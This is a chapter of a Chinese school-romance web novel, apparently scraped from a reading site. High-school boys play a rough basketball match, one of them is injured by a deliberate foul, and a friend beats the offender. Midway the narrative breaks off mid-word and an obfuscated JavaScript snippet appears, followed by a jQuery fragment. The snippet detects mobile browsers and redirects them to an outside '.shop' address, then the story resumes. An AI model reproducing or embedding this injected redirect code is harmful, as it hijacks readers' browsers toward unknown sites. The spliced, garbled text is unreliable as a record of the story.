34. 篮球比赛
作品:《你又骗我》 从10月份开始,天气越来越冷了,许遇已经穿上了毛衣。
欲卓安他们都开始喝起热水了,乔自乐还在嚷嚷着他的篮球赛。
“真不打啊”乔自乐趴在许遇的书上,垂头丧气的问,“我想打啊。”
许遇笔尖没停,唰唰刷地演算着压轴题,这已经是乔自乐这几周第N次磨人了,从一开始的安慰,到现在只剩一句干脆利落的回绝:“不打,我要刷题。”
“靠!”乔自乐噌的一下站直身子,“无情!”
完事他又转头问欲卓安:“欲哥。”
“打住。”欲卓安头也没抬,指尖还在草稿纸上划拉着公司,他有些不耐烦地挥了挥手,语气淡得没什么波澜,“这话你都问八百遍了,我是真没时间,乖,想打就找别的体育生组队去打,我忙着呢。”
乔自乐瞬间像被戳破的气球,肩膀垮了垮,蔫蔫地叹了口气:“哎,这么好的机会,你们怎么一个个都懒得动弹啊?”
欲卓安终于停下了笔,随手将笔帽扣好,抬手拍了拍乔自乐耷拉着的肩膀,语气松了些:“行了,下节课刚好是体育课,陪你打两场过过瘾,至于比赛,就别想了。”
乔自乐脸上的丧气劲儿散了大半,却还是没完全提起来,拖着长音蔫蔫应道:“好……。”
林城二中有规定,体育课是必须上的,究其根本,是心疼这群整日日埋首书本的学生,平日里运动量本就少得可怜,若是连这仅有的锻炼时间都被挤占,身体怕是早晚会扛不住。
其实以前是有晨间跑操的,但是已经取消了,因为总是有学生贪睡赖床,来不及吃早餐就匆匆往操场赶,空腹跑操导致晕倒的情况屡有发生。
学校无奈之下,只能将晨跑换成了大课间的广播体操,好歹能让大家在不那么剧烈的运动里活动活动筋骨。
初冬的风裹着寒意,刮得人脸颊生疼,体育课也顺势挪到了室内体育场。
就连常年在户外授课、耐冻惯了的体育老师,都忍不住缩着脖子搓手。
老师先领着大家慢跑几圈热身,又带着做完一套完整的拉伸准备活动,见所有人的手脚都活络开了,这才大手一挥,干脆利落的宣布:“行了,自由活动吧!注意安全就行!”
乔自乐拍着篮球颠颠跑过来,胳膊肘撞了撞欲卓安的肩膀,扬着嗓门喊:“来来来,说好的两局,可不许反悔啊!”
欲卓安瞥了眼他怀里弹动的篮球,唇角勾了勾:“不反悔。”
许遇随便找了个台阶坐下,手肘撑着膝盖,安安静静看着场上。
陆以熠也没下场,只摆摆手丢下句“累,不想打”,便在许遇旁边坐下了。
许遇没下场,是因为他本来就不怎么会打,怕自己拖了大家的后腿。
来打篮球的还有三班的,三班也是今天上体育课,刚好撞上了,就一起打了。
许遇的目光落在场上的比赛,现在已经22比23了,六班只落后了一分,比分差距不大。
场上的少年裹着一身紫色校服,额角沁着薄汗,脸颊因为剧烈的运动而烘得泛红。
他随手甩了甩汗湿的额发,视线一瞬不瞬地锁着滚动的篮球,下一秒便俯身疾冲,抢断的动作干脆利落,一气呵成。
许遇看得有些出神,耳边是同学们此起彼伏的加油声,一声声喊着高三六班加油,混着篮球砸地的嘭嘭声,很是热闹。
欲卓安稳稳接住传球,指尖灵活地运着球,一个假动作晃过身前的防守队员,脚步飞快地往篮筐下冲。
篮筐下早就被三班的人围得水泄不通,他脚步一顿,干脆在三分线外站定,抬手、屈膝、发力,整套动作行云流水,毫不犹豫地扬手投篮。
三班的人都以为他要突破上篮,压根没设防,眼睁睁看着篮球在空中划出一道漂亮的弧线。
“唰……砰。”
篮球空心入网的瞬间,裁判的哨声刚好响起:“上半场结束!”
场边其他没有上场的男生瞬间炸开了锅,尖叫声此起彼伏。
“我靠,欲哥!牛逼!”
“太帅了吧!三分球绝杀!”
“好厉害!这波操作直接封神!”
……。
欲卓安抬手抹了把额角的汗水,大步走到许遇身边,嗓音带着运动后的沙哑:“水,我要干死了。”
许遇没吭声,直接把搁在身侧的矿泉水拧开递过去。
欲卓安接过来仰头猛灌,喉结随着吞咽的动作上下滚动,因为喝得太急,几滴水珠顺着嘴角滑下来,浸湿了下巴处的校服领口。
欲卓安随手用手背蹭了蹭嘴角的水渍,一抬眼,正好撞见许遇落在自己身上的目光,那眼神带着点没回过神的怔忪,黏在他脖颈的皮肤上,烫得人心里发痒。
他的指尖擅了一下,便抬手在许遇眼前轻轻晃了晃,声音带着点运动后的哑意:“发什么呆呢?”
许遇像是被烫到似的,猛地收回视线,指尖无意识地攥了攥衣角,低声含糊道:“没什么,你打得很好。”
欲卓安勾着唇角笑了笑,语气里带着点漫不经心的谦虚:“还行吧。”
林岚在一旁擦着额角的汗,凑过来搭话:“现在也就一般般啦,我跟你说,当年咱们班可是实打实的压制全场的存在,哪像现在,光顾着埋头刷题,早就没了当年的风光了。”
“好汉不提当年勇。”陆以熠递过去一瓶水,语气淡淡的,眼底却藏着点笑意。
林岚猛灌了几口水,顺势在陆以熠身边坐下了。
许遇没说话,只是悄悄往旁边挪了挪,给刚喝完水的欲卓安空出半块台阶。
欲卓安也不客气,一屁股坐下,校服上的热气,若有似无地漫到许遇旁边。
歇了没几分钟,场边就有人喊着续场,两人对视一眼,拍了拍裤子上的灰,又笑着往球场走去了。
下半场的三班像是铆足了劲,打法格外的凶悍,防守时仗着人高马大,一个劲往欲卓安他们身上撞。
许遇坐在场边看得眉心紧蹙,好几次林岚被撞得踉跄着后退,欲卓安更是差点被掀翻在地。
林岚气得额角青筋直跳,当场就冲三班的人吼了几句,对方却装聋作哑,压根没当回事。
欲卓安快步走过去,伸手按住他的肩膀,低声提醒:“别跟他们硬碰硬,注意安全。”
林岚咬了咬牙,狠狠点头应下。
三班的打法越来越粗野,犯规动作层出不穷,裁判的哨声就没断过,接连判了几个罚球。
比分被越拉越大,可三班的人非但没收敛,反而像被逼急了的野马,动作愈发没轻没重。
陆以熠盯着场上险些推搡起来的两队人,眉头紧锁,低声道:“这么打下去,怕是要出事。”
许遇的目光牢牢锁在场上,尤其是看到欲卓安又一次被人恶意撞了肩膀时,指尖不自觉攥得发白,声音里裹着难掩的担忧:“让他们先停一下吧,我去跟裁判说。”
陆以熠听完,眉头也松了几分,点了点头表示同意。
他和许遇刚站起身,打算朝裁判席走去,可脚下的步子还没迈开,场边突然传来“砰”的一声闷响,伴随着少年们的惊呼。
刚刚球恰好传到欲卓安手上,他离篮筐本就不远,运着球两步疾冲,正要起跳投篮。
没等他腾空,斜侧方突然窜出一道黑影,三班那个高个后卫闷不吭声地冲过来,带着股蛮劲狠狠撞在他身上。
欲卓安下意识的稳住球权,手腕一翻将球精准传向队友,可身体却被那股冲力带得失衡,重重往前滑出,校服裤蹭着地面发出刺啦的声响,最终重重停在篮下。
“啊,发生了什么?”
“有人摔倒了。”
“裤子都滑破了。”
“好像流血了,我们过去看看。”
“……。”
此起彼伏的惊呼声瞬间炸开,场边的人呼啦一下围拢过来,议论声混着脚步声乱成一团。
欲卓安狠狠摔在地上,膝盖处传来一阵钻心的剧痛,他撑着地面想站起来,却疼得指尖发颤,半天没能起身。
他滑过的地面上,一道暗红的血痕格外刺眼。
林岚离得最近,几乎是瞬间就冲了过来,蹲下身一把扶住他的胳膊,声音里满是焦急:“怎么样?没事吧?”
另一边,乔自乐气得脸色铁青,几步冲上去揪住那个撞人的三班男生的衣领,攥着拳头低吼道:“你他妈是不是故意的?!”
“我这是正常打球啊。”
“就是,你们干嘛,松手。”
六班的队友们瞬间围了上来,个个面带怒色,声音里满是愤愤不平:“别在这装模作样!你们就是故意下黑手!我们在旁边都看到了!”
“没错!下半场从头到尾都在恶意撞人,打球没见多厉害,耍阴招倒是一套一套的!”
三班的人却丝毫不怵,有人挑着眉梢嗤笑出声,语气里满是挑衅:“有本事拿出证据来啊?空口白牙污蔑人,谁不会?”
这话彻底激化了矛盾,两方人瞬间剑拔弩张地凑到一起,推搡着互相指责,怒骂声、争执声此起彼伏,整个场馆里乱糟糟一片,连旁边的裁判都得费好大劲才能把人勉强分开。
许遇和陆以熠几乎是踩着混乱的人声冲过去的,两人同时蹲到欲卓安身边。
欲卓安还坐在冰凉的地板上,眉头紧蹙着,额角沁出细密的冷汗,林岚正半扶着他的后背。
许遇的目光落到他膝盖上,心脏猛地一揪,校服裤子磨破了一大片,露出的膝盖上,一道狰狞的伤口正往外渗着血,顺着小腿往下淌,在地面晕开一小片暗红。
“我来”许遇声音发紧,伸手稳稳托住欲卓安的胳膊。
林岚见状松开手,猛地站起身,眼底翻涌着怒火,转头就往三班那群人里冲,直奔刚才撞人的那个男生。
陆以熠则留在旁边,小心翼翼地护着欲卓安的另一侧,生怕碰疼了他的伤口。
许遇半蹲下身,小心翼翼地扶着欲卓安的胳膊,指腹不自觉地放轻了力道,声音里带着难掩的焦灼:“还能动吗?我现在送你去医务室处理伤口。”
欲卓安眉头拧成一团,闭了闭眼,喉间溢出一声低哑的闷哼,缓了好一会儿才睁开眼,声音带着疼出来的沙哑:“我缓缓。”
许遇应声“好”,手上的力道又放柔了几分,另一只手轻轻托住他的后背,帮他稳住身形,目光始终落在那道渗血的伤口上,眼底满是担忧。
周围的争执声还在继续,可他的注意力,却全被身边人的疼意揪着,连呼吸都放得格外轻。
“操!林岚你他妈想干什么?想动手打人是吧?有本事往老子脸上招呼!来啊!”
三班那人的怒骂声又凶又冲,瞬间盖过了周围的嘈杂争执。
林岚被这话彻底点燃,攥紧的拳头青筋突突直跳,抬脚就要往前冲。
陆以熠眼疾手快,猛地冲过去死死拽住他的胳膊往后扯,急声低吼:“冷静点!”
欲卓安疼得额角冒汗,咬着牙重重吐了口浊气,哑着嗓子扬声喊了一句:“别打架,先回来!”
三班那边有人嗤笑一声,“切”得格外刺耳,随即阴阳怪气地骂道:“人家正主都没吭声,你们这帮人上赶着凑什么热闹?他是块香骨头啊?怎么这么多狗巴巴地护着?”
这话像根针,狠狠扎在许遇心上。
许遇的脸瞬间沉了下来,眼底翻涌着冷意,扶着欲卓安的手不自觉地收紧,指节都泛了白。
欲卓安察觉到他的紧绷,抬眼看向他,指尖轻轻拍了拍他的手背,声音压得很低,带着安抚的力道:“你也冷静点,我们先动手就是我们吃亏了,让他们先动,我们才站理,不打起来最好,怎么都是他们的错,后面老师会处理,别让这些烂事烦心。”
许遇没出声,只是垂眸盯着自己怀里的人。
怀里的人疼得脸色惨白,额角的冷汗顺着鬓角往下淌,连唇色都褪得没了半分血色,那模样像根细针,一下下扎在许遇心上。
他猛地侧头看向旁边发愣的方贺,声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355809|198475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
音冷硬得不带一丝温度:“过来,扶住他。”
方贺被这突如其来的命令惊得一激灵,下意识应道:“啊?哦、哦哦!好。”手忙脚乱地就去接欲卓安的胳膊。
欲卓安见状,心头一紧,伸手就想去抓住许遇的手腕,声音里带着明显的不安与急切:“许遇,你要干嘛?”
许遇已经猛地站起身,欲卓安伸出的手扑了个空,指尖只擦过他的衣角。
他抬眼飞快扫了欲卓安一眼,那眼神里翻涌着未散的戾气与心疼,随即转身,一步一步朝着三班那群人走去。
三班那个刚才骂得最凶的男生见他过来,嗤笑一声,抬着下巴挑衅:“怎么?又来一个?你也想替……。”
“替”字还没出口,许遇的拳头已经带着风声砸在他脸上。
“不会说话,就别说了。”
那人被打的摔到地上,嘴角瞬间破了,鲜血顺着下颌往下流。
他吐了一口带血的唾沫,狠狠抹开嘴角,眼神瞬间变凶,嘶吼着:“你找死!”
话音落下,许遇的拳头再次挥出,一下又一下,带着压抑已久的怒火,拳拳落肉。
周围的人瞬间被吓呆,一时竟都没有反应过来。
林岚和陆以熠的反应是最快的,两人立刻冲上去死死抱住许遇的胳膊,拼尽全力把他往后拖。
“别打了!住手!”陆以熠急声大喊,“再打就出事了!”
林岚也拽着他的手臂,声音都急了起来:“许遇!快松开!”
两人用尽全身力气,才好不容易把许遇强行拉开。
那个三班的男生早已瘫倒在地,满脸血痕,狼狈不堪。
现场一片死寂,空气中都弥漫着血腥味与火药味。
三班的其他人见状,脸色瞬间变得狰狞,眼底翻涌着狠戾,几人攥紧拳头,指节捏得咔咔作响,脚步往前挪了挪,眼看就要一拥而上,把这场冲突彻底升级。
“想打架?”
清冷又带着威慑力的声音突然响起。
众人循声望去,只见欲卓安被方贺小心翼翼地扶着,一瘸一拐的走了过来。
他脸色冷得像霜,额角还挂着未干的冷汗,受伤的腿微微发着颤,每走一步都像是在忍着剧痛,可眼神却锐利如刀,直直地看向三班那群人。
他的声音不大,但是每个人都能听见:“你们确定?”
三班的人看到欲卓安这副模样,想起他平日里打架时的狠劲,虽然他受了伤,但这并不妨碍他动手,三班的人气焰莫名矮了半截。
其中一人往地上狠狠吐了一口唾沫,目光死死盯着被林岚和陆以熠拉住的许遇。
地上被打的出血的男生慢慢站了起来,撂下一句狠话:“行,现在不打,是给欲哥面子,但是你小子给我等着!这事没完!”
说完,那个男生让其他几人扶走,临走前最后狠狠瞪了他们一眼,骂骂咧咧地转身离开了。
体育老师终于匆匆赶来,拨开人群沉声道:“怎么了?怎么回事?”
他一眼看到地上的血迹和欲卓安的伤势,立刻皱眉催促:“快快快,来个同学?赶紧送医务室去!”
欲卓安的目光落在许遇身上,声音不高却清晰:“许遇。”
许遇微微低着头,视线落在地面的血痕上,没去看他的脸,喉间轻轻滚出一声:“嗯。”
随即补充道:“我背你去医务室。”
旁边的乔自乐挠了挠头,脸上满是愧疚,往前凑了两步:“我也可以背你去!要不是我非拉着大家打这场比赛,你也不会被人暗算伤到,这事该我来。”
陆以熠伸手拽了他一把,压低声音道:“别捣乱。”
乔自乐一脸茫然地看着他,摸了摸后脑勺,语气带着茫然:“我干嘛了?怎么就捣乱了?”
林岚靠在旁边的球架上,瞥了眼欲卓安还在渗血的膝盖,悠悠开口,语气里带着点无奈:“再在这磨叽下去,他那脚说不定真要断了。”
许遇还在缓着刚才那股冲劲,胸腔里的怒火没完全散去,指尖还残留着揍人的钝感。
听到林岚的话,他动作一顿,抬眼飞快扫了下欲卓安苍白的脸色,不再理会旁边还在嘟囔的乔自乐,直接蹲在欲卓安面前:“上来。”
欲卓安没再多说,伸手扶住许遇的肩膀,借着方贺的力道轻轻趴了上去。
许遇起身时动作很稳,小心翼翼地避开他受伤的腿,背着人一步步朝医务室走去。
乔自乐见状,抬脚就想跟过去,嘴里还念叨着“我也去看看”,却被陆以熠一把拉住胳膊,强行留在了原地。
陆以熠冲他摇了摇头,示意他留在这配合老师处理后续,乔自乐明白了,停住了脚步。
体育老师眉头拧成疙瘩,目光扫过地上的血迹,还有一群满脸愤愤的少年,沉声道:“到底怎么回事?好好的体育课怎么闹成这样?”
“老师!是三班先动手的!”乔自乐第一个往前站了半步,语气激动,眼底还带着未消的怒火,“他们下半场一直恶意犯规,刚才直接故意把欲卓安撞倒,膝盖都磕破了!”
林岚连忙补充,语气相对沉稳却难掩气愤:“没错,三班那人撞人之后还不认错,反倒出言不逊,骂得特别难听。”
乔自乐也跟着点头,一脸愤怒:“就是!他们打球一点规矩都没有,净耍阴招!要不是他们先挑衅,根本不会闹成这样!”
方贺站在旁边,也跟着附和:“老师,我们都看见了,确实是三班先恶意撞人,还骂人,太过分了!”
几人你一言我一语,七嘴八舌地把刚才的经过快速说了一遍,语气里满是愤愤不平,乱糟糟的声音里全是压抑不住的情绪。
三班剩下的几人也不甘示弱,立刻反驳:“胡说!我们根本没故意撞人!是他自己没站稳!”
“明明是许遇不分青红皂白就动手打人,把人打成这样,你们还有理了?”
眼见双方又要争执起来,体育老师皱着眉喝止:“一个个说,别吵!”
……。

